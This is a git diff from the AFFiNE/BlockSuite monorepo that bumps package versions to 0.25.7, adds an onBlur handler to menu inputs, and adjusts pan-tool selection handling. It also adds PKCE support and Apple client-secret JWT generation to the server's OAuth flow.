canvas.style.transform = `scale(${1 / viewScale})`;
canvas.style.transformOrigin = `top left`;
canvas.width = actualWidth;
canvas.height = actualHeight;
},

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -82,5 +82,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -17,6 +17,7 @@ export type MenuInputData = {
class?: string;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
disableAutoFocus?: boolean;
};
@@ -49,6 +50,10 @@ export class MenuInput extends MenuFocusable {
this.data.onChange?.(this.inputRef.value);
};
private readonly onBlur = () => {
this.data.onBlur?.(this.inputRef.value);
};
private readonly onInput = (e: InputEvent) => {
e.stopPropagation();
if (e.isComposing) return;
@@ -109,6 +114,7 @@ export class MenuInput extends MenuFocusable {
@focus="${() => {
this.menu.setFocusOnly(this);
}}"
@blur="${this.onBlur}"
@input="${this.onInput}"
placeholder="${this.data.placeholder ?? ''}"
@keypress="${this.stopPropagation}"
@@ -215,6 +221,7 @@ export const menuInputItems = {
prefix?: TemplateResult;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
class?: string;
style?: Readonly<StyleInfo>;
}) =>
@@ -228,6 +235,7 @@ export const menuInputItems = {
class: config.class,
onComplete: config.onComplete,
onChange: config.onChange,
onBlur: config.onBlur,
};
const style = styleMap({
display: 'flex',

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,25 +1,10 @@
import { menu } from '@blocksuite/affine-components/context-menu';
import { IS_MOBILE } from '@blocksuite/global/env';
import { html } from 'lit/static-html.js';
import { renderUniLit } from '../utils/uni-component/index.js';
import type { Property } from '../view-manager/property.js';
export const inputConfig = (property: Property) => {
if (IS_MOBILE) {
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
${renderUniLit(property.icon)}
</div>
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onChange: text => {
property.nameSet(text);
},
});
}
return menu.input({
prefix: html`
<div class="affine-database-column-type-menu-icon">
@@ -28,7 +13,7 @@ export const inputConfig = (property: Property) => {
`,
initialValue: property.name$.value,
placeholder: 'Property name',
onComplete: text => {
onBlur: text => {
property.nameSet(text);
},
});

View File

@@ -26,5 +26,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -40,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -51,5 +51,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -60,12 +60,20 @@ export class PanTool extends BaseTool<PanToolOption> {
return;
}
const currentTool = this.controller.currentToolOption$.peek();
const { toolType, options: originalToolOptions } = currentTool;
if (toolType?.toolName === PanTool.toolName) {
return;
}
evt.raw.preventDefault();
const currentTool = this.controller.currentToolOption$.peek();
const selectionToRestore = this.gfx.selection.surfaceSelections.slice();
const restoreToPrevious = () => {
const { toolType, options: originalToolOptions } = currentTool;
const selectionToRestore = this.gfx.selection.surfaceSelections;
this.gfx.selection.set(selectionToRestore);
if (!toolType) return;
// restore to DefaultTool if previous tool is CopilotTool
if (toolType.toolName === 'copilot') {
@@ -88,21 +96,18 @@ export class PanTool extends BaseTool<PanToolOption> {
} as RestorablePresentToolOptions;
}
this.controller.setTool(toolType, finalOptions);
this.gfx.selection.set(selectionToRestore);
};
// If in presentation mode, disable black background after middle mouse drag
if (currentTool.toolType?.toolName === 'frameNavigator') {
if (toolType?.toolName === 'frameNavigator') {
const slots = this.std.get(EdgelessLegacySlotIdentifier);
slots.navigatorSettingUpdated.next({
blackBackground: false,
});
}
requestAnimationFrame(() => {
this.controller.setTool(PanTool, {
panning: true,
});
this.controller.setTool(PanTool, {
panning: true,
});
const dispose = on(document, 'pointerup', evt => {

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -25,5 +25,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -47,5 +47,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -50,5 +50,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -56,5 +56,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,5 +30,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -75,5 +75,5 @@
"devDependencies": {
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -34,5 +34,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -40,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -38,5 +38,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -34,5 +34,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -55,5 +55,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -37,5 +37,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -37,5 +37,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,5 +30,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -36,5 +36,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -38,5 +38,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -17,5 +17,5 @@
"dependencies": {
"@blocksuite/affine": "workspace:*"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -64,5 +64,5 @@
"devDependencies": {
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -47,5 +47,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!dist/__tests__",
"shim.d.ts"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -33,5 +33,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"vite-plugin-wasm": "^3.4.1",
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"vite-plugin-wasm": "^3.3.0",
"vite-plugin-web-components-hmr": "^0.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -19,5 +19,5 @@
],
"ext": "ts,md,json"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/monorepo",
"version": "0.25.5",
"version": "0.25.7",
"private": true,
"author": "toeverything",
"license": "MIT",

View File

@@ -7,7 +7,7 @@ version = "1.0.0"
crate-type = ["cdylib"]
[dependencies]
affine_common = { workspace = true, features = ["doc-loader"] }
affine_common = { workspace = true, features = ["doc-loader", "hashcash"] }
chrono = { workspace = true }
file-format = { workspace = true }
infer = { workspace = true }

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/server-native",
"version": "0.25.5",
"version": "0.25.7",
"engines": {
"node": ">= 10.16.0 < 11 || >= 11.8.0"
},

View File

@@ -1,7 +1,7 @@
{
"name": "@affine/server",
"private": true,
"version": "0.25.5",
"version": "0.25.7",
"description": "Affine Node.js server",
"type": "module",
"bin": {
@@ -95,6 +95,7 @@
"http-errors": "^2.0.0",
"ioredis": "^5.4.1",
"is-mobile": "^5.0.0",
"jose": "^6.1.3",
"jsonwebtoken": "^9.0.2",
"keyv": "^5.2.2",
"lodash-es": "^4.17.21",

View File

@@ -331,7 +331,6 @@ function mockOAuthProvider(
clientNonce,
});
// @ts-expect-error mock
Sinon.stub(provider, 'getToken').resolves({ accessToken: '1' });
Sinon.stub(provider, 'getUser').resolves({
id: '1',

View File

@@ -1,5 +1,6 @@
import { Logger } from '@nestjs/common';
import { Transactional } from '@nestjs-cls/transactional';
import { TransactionalAdapterPrisma } from '@nestjs-cls/transactional-adapter-prisma';
import {
applyUpdate,
diffUpdate,
@@ -94,7 +95,7 @@ export abstract class DocStorageAdapter extends Connection {
return snapshot;
}
@Transactional()
@Transactional<TransactionalAdapterPrisma>({ timeout: 60000 })
private async squashUpdatesToSnapshot(
spaceId: string,
docId: string,

View File

@@ -580,7 +580,6 @@ export class CopilotSessionModel extends BaseModel {
.reduce((prev, cost) => prev + cost, 0);
}
@Transactional()
async cleanupEmptySessions(earlyThen: Date) {
// delete never used sessions
const { count: removed } = await this.db.aiSession.deleteMany({

View File

@@ -185,7 +185,6 @@ export class CopilotWorkspaceConfigModel extends BaseModel {
return { workspaceId, AND: condition };
}
@Transactional()
async listEmbeddableDocIds(workspaceId: string) {
const condition = this.getEmbeddableCondition(workspaceId);
const rows = await this.db.snapshot.findMany({

View File

@@ -416,12 +416,12 @@ export class CopilotEmbeddingJob {
workspaceId,
docId
);
this.logger.log(
this.logger.debug(
`Check if doc ${docId} in workspace ${workspaceId} needs embedding: ${needEmbedding}`
);
if (needEmbedding) {
if (signal.aborted) {
this.logger.log(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} is aborted, skipping embedding.`
);
return;
@@ -442,7 +442,7 @@ export class CopilotEmbeddingJob {
existsContent &&
this.normalize(existsContent) === this.normalize(fragment.summary)
) {
this.logger.log(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} has no content change, skipping embedding.`
);
return;
@@ -464,12 +464,12 @@ export class CopilotEmbeddingJob {
chunks
);
}
this.logger.log(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} has summary, embedding done.`
);
} else {
// for empty doc, insert empty embedding
this.logger.warn(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} has no summary, fulfilling empty embedding.`
);
await this.models.copilotContext.fulfillEmptyEmbedding(
@@ -478,7 +478,7 @@ export class CopilotEmbeddingJob {
);
}
} else {
this.logger.warn(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} has no fragment, fulfilling empty embedding.`
);
await this.models.copilotContext.fulfillEmptyEmbedding(
@@ -498,7 +498,7 @@ export class CopilotEmbeddingJob {
error instanceof CopilotContextFileNotSupported &&
error.message.includes('no content found')
) {
this.logger.warn(
this.logger.debug(
`Doc ${docId} in workspace ${workspaceId} has no content, fulfilling empty embedding.`
);
// if the doc is empty, we still need to fulfill the embedding

View File

@@ -689,6 +689,7 @@ You are a highly accomplished professional translator, demonstrating profound pr
params: {
language: [
'English',
'Brazilian Portuguese',
'Spanish',
'German',
'French',
@@ -708,6 +709,7 @@ You are a highly accomplished professional translator, demonstrating profound pr
params: {
language: [
'English',
'Brazilian Portuguese',
'Spanish',
'German',
'French',

View File

@@ -4,7 +4,7 @@ import { defineModuleConfig, JSONSchema } from '../../base';
export interface OAuthProviderConfig {
clientId: string;
clientSecret: string;
clientSecret?: string;
args?: Record<string, string>;
}
@@ -13,6 +13,7 @@ export type OIDCArgs = {
claim_id?: string;
claim_email?: string;
claim_name?: string;
claim_email_verified?: string;
};
export interface OAuthOIDCProviderConfig extends OAuthProviderConfig {
@@ -88,6 +89,7 @@ defineModuleConfig('oauth', {
claim_id: z.string().optional(),
claim_email: z.string().optional(),
claim_name: z.string().optional(),
claim_email_verified: z.string().optional(),
}),
}),
},

View File

@@ -65,18 +65,37 @@ export class OAuthController {
throw new UnknownOauthProvider({ name: unknownProviderName });
}
const pkce = provider.requiresPkce ? this.oauth.createPkcePair() : null;
const state = await this.oauth.saveOAuthState({
provider: providerName,
redirectUri,
client,
clientNonce,
...(pkce
? {
pkce: {
codeVerifier: pkce.codeVerifier,
codeChallengeMethod: pkce.codeChallengeMethod,
},
}
: {}),
});
const stateStr = JSON.stringify({
const statePayload: Record<string, unknown> = {
state,
client,
provider: unknownProviderName,
});
};
if (pkce) {
statePayload.pkce = {
codeChallenge: pkce.codeChallenge,
codeChallengeMethod: pkce.codeChallengeMethod,
};
}
const stateStr = JSON.stringify(statePayload);
return {
url: provider.getAuthUrl(stateStr, clientNonce),
@@ -125,6 +144,9 @@ export class OAuthController {
if (!state) {
throw new OauthStateExpired();
}
if (!state.token) {
state.token = stateStr;
}
if (
state.provider === OAuthProviderName.Apple &&
@@ -173,7 +195,7 @@ export class OAuthController {
let tokens: Tokens;
try {
tokens = await provider.getToken(code);
tokens = await provider.getToken(code, state);
} catch (err) {
let rayBodyString = '';
if (req.rawBody) {
@@ -238,6 +260,7 @@ export class OAuthController {
}
const user = await this.models.user.fulfill(externalAccount.email, {
name: externalAccount.name,
avatarUrl: externalAccount.avatarUrl,
});

View File

@@ -2,13 +2,15 @@ import { JsonWebKey } from 'node:crypto';
import { Injectable } from '@nestjs/common';
import jwt, { type JwtPayload } from 'jsonwebtoken';
import { z } from 'zod';
import {
InternalServerError,
InvalidOauthCallbackCode,
InvalidAuthState,
URLHelper,
} from '../../../base';
import { OAuthProviderName } from '../config';
import type { OAuthState } from '../types';
import { OAuthProvider, Tokens } from './def';
interface AuthTokenResponse {
@@ -19,14 +21,75 @@ interface AuthTokenResponse {
expires_in: number;
}
const AppleProviderArgsSchema = z.object({
privateKey: z.string().nonempty(),
keyId: z.string().nonempty(),
teamId: z.string().nonempty(),
});
@Injectable()
export class AppleOAuthProvider extends OAuthProvider {
provider = OAuthProviderName.Apple;
private args: z.infer<typeof AppleProviderArgsSchema> | null = null;
private _jwtCache: { token: string; expiresAt: number } | null = null;
constructor(private readonly url: URLHelper) {
super();
}
override get configured() {
if (this.config && !this.args) {
const result = AppleProviderArgsSchema.safeParse(this.config?.args);
if (result.success) {
this.args = result.data;
}
}
return (
!!this.config &&
!!this.config.clientId &&
(!!this.config.clientSecret || !!this.args)
);
}
private get clientSecret() {
if (this.config.clientSecret) {
return this.config.clientSecret;
}
if (!this.args) {
throw new Error('Missing Apple OAuth configuration');
}
if (this._jwtCache && this._jwtCache.expiresAt > Date.now()) {
return this._jwtCache.token;
}
const { privateKey, keyId, teamId } = this.args;
const expiresIn = 300; // 5 minutes
try {
const token = jwt.sign({}, privateKey, {
algorithm: 'ES256',
keyid: keyId,
expiresIn,
issuer: teamId,
audience: 'https://appleid.apple.com',
subject: this.config.clientId,
});
this._jwtCache = {
token,
expiresAt: Date.now() + (expiresIn - 30) * 1000,
};
return token;
} catch (e) {
this.logger.error('Failed to generate Apple client secret JWT', e);
throw new Error('Failed to generate client secret');
}
}
getAuthUrl(state: string, clientNonce?: string): string {
return `https://appleid.apple.com/auth/authorize?${this.url.stringify({
client_id: this.config.clientId,
@@ -40,54 +103,39 @@ export class AppleOAuthProvider extends OAuthProvider {
})}`;
}
async getToken(code: string) {
const response = await fetch('https://appleid.apple.com/auth/token', {
method: 'POST',
body: this.url.stringify({
async getToken(code: string, _state: OAuthState) {
const appleToken = await this.postFormJson<AuthTokenResponse>(
'https://appleid.apple.com/auth/token',
this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
client_secret: this.clientSecret,
redirect_uri: this.url.link('/api/oauth/callback'),
grant_type: 'authorization_code',
}),
headers: {
Accept: 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
},
});
})
);
if (response.ok) {
const appleToken = (await response.json()) as AuthTokenResponse;
return {
accessToken: appleToken.access_token,
refreshToken: appleToken.refresh_token,
expiresAt: new Date(Date.now() + appleToken.expires_in * 1000),
idToken: appleToken.id_token,
};
} else {
const body = await response.text();
if (response.status < 500) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
return {
accessToken: appleToken.access_token,
refreshToken: appleToken.refresh_token,
expiresAt: new Date(Date.now() + appleToken.expires_in * 1000),
idToken: appleToken.id_token,
};
}
async getUser(
tokens: Tokens & { idToken: string },
state: { clientNonce: string }
) {
const keysReq = await fetch('https://appleid.apple.com/auth/keys', {
method: 'GET',
});
const { keys } = (await keysReq.json()) as { keys: JsonWebKey[] };
async getUser(tokens: Tokens, state: OAuthState) {
if (!tokens.idToken) {
throw new InvalidAuthState();
}
const { keys } = await this.fetchJson<{ keys: JsonWebKey[] }>(
'https://appleid.apple.com/auth/keys',
{ method: 'GET' },
{ treatServerErrorAsInvalid: true }
);
const payload = await new Promise<JwtPayload>((resolve, reject) => {
jwt.verify(
tokens.idToken,
tokens.idToken!,
(header, callback) => {
const key = keys.find(key => key.kid === header.kid);
if (!key) {

View File

@@ -1,8 +1,14 @@
import { Inject, Injectable, Logger } from '@nestjs/common';
import { Config, OnEvent } from '../../../base';
import {
Config,
InvalidOauthCallbackCode,
InvalidOauthResponse,
OnEvent,
} from '../../../base';
import { OAuthProviderName } from '../config';
import { OAuthProviderFactory } from '../factory';
import type { OAuthState } from '../types';
export interface OAuthAccount {
id: string;
@@ -16,6 +22,8 @@ export interface Tokens {
scope?: string;
refreshToken?: string;
expiresAt?: Date;
idToken?: string;
tokenType?: string;
}
export interface AuthOptions {
@@ -29,8 +37,8 @@ export interface AuthOptions {
export abstract class OAuthProvider {
abstract provider: OAuthProviderName;
abstract getAuthUrl(state: string, clientNonce?: string): string;
abstract getToken(code: string): Promise<Tokens>;
abstract getUser(tokens: Tokens, state: any): Promise<OAuthAccount>;
abstract getToken(code: string, state: OAuthState): Promise<Tokens>;
abstract getUser(tokens: Tokens, state: OAuthState): Promise<OAuthAccount>;
protected readonly logger = new Logger(this.constructor.name);
@Inject() private readonly factory!: OAuthProviderFactory;
@@ -65,4 +73,63 @@ export abstract class OAuthProvider {
this.factory.unregister(this);
}
}
get requiresPkce() {
return false;
}
protected async fetchJson<T>(
url: string,
init?: RequestInit,
options?: { treatServerErrorAsInvalid?: boolean }
) {
const response = await fetch(url, {
headers: { Accept: 'application/json', ...init?.headers },
...init,
});
const body = await response.text();
if (!response.ok) {
if (response.status < 500 || options?.treatServerErrorAsInvalid) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
if (!body) {
return {} as T;
}
try {
return JSON.parse(body) as T;
} catch {
throw new InvalidOauthResponse({
reason: `Unable to parse JSON response from ${url}`,
});
}
}
protected postFormJson<T>(
url: string,
body: string,
options?: {
headers?: Record<string, string>;
treatServerErrorAsInvalid?: boolean;
}
) {
return this.fetchJson<T>(
url,
{
method: 'POST',
body,
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
...options?.headers,
},
},
options
);
}
}

Some files were not shown because too many files have changed in this diff Show More